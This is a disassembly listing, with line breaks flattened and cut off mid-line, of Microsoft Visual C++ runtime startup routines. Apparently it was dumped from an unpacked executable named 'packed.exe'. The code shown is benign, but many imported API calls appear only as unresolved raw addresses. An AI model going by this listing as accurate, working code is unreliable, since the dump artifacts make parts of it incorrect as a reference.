XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB318 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2D0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB318 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB318 call sub_41B0B1 pop ecx mov dword_4DB318, ebx mov [esi], ebx pop edi pop esi mov dword_4DC950, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4DC94C mov off_4DB2E0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB2C8, esi pop edi pop esi mov dword_4DB2C4, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC821[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC821[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB488 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB488, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 2610B4Eh nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB488, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2610DEAh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2610B4Eh mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2610E17h mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC600, esi mov dword_4DC700, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC600 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28A0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC700, esi jge short loc_4233E6 mov edi, offset dword_4DC604 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC700, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC700, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC700 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call near ptr 2610000h nop test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC600 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 26107E1h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2610000h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC700 nop call near ptr 2610A50h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB320 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2F4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB48C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C988 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43CA18 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C988[esi] jnz loc_423719 mov eax, dword_4DB320 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2F4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2660000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C98C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C98C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26107E1h push eax nop call near ptr 26E0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC600 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC700 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC700, 20h lea ecx, ds:4DC600h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2F4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2600C3Bh loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC700 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC600h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2F4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2600C3Bh loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 26007E5h test eax, eax jnz short loc_42391D call near ptr 2670914h nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB2AC, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5E0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5E0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5E0, esi call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43CA18 loc_423990: ; CODE XREF: 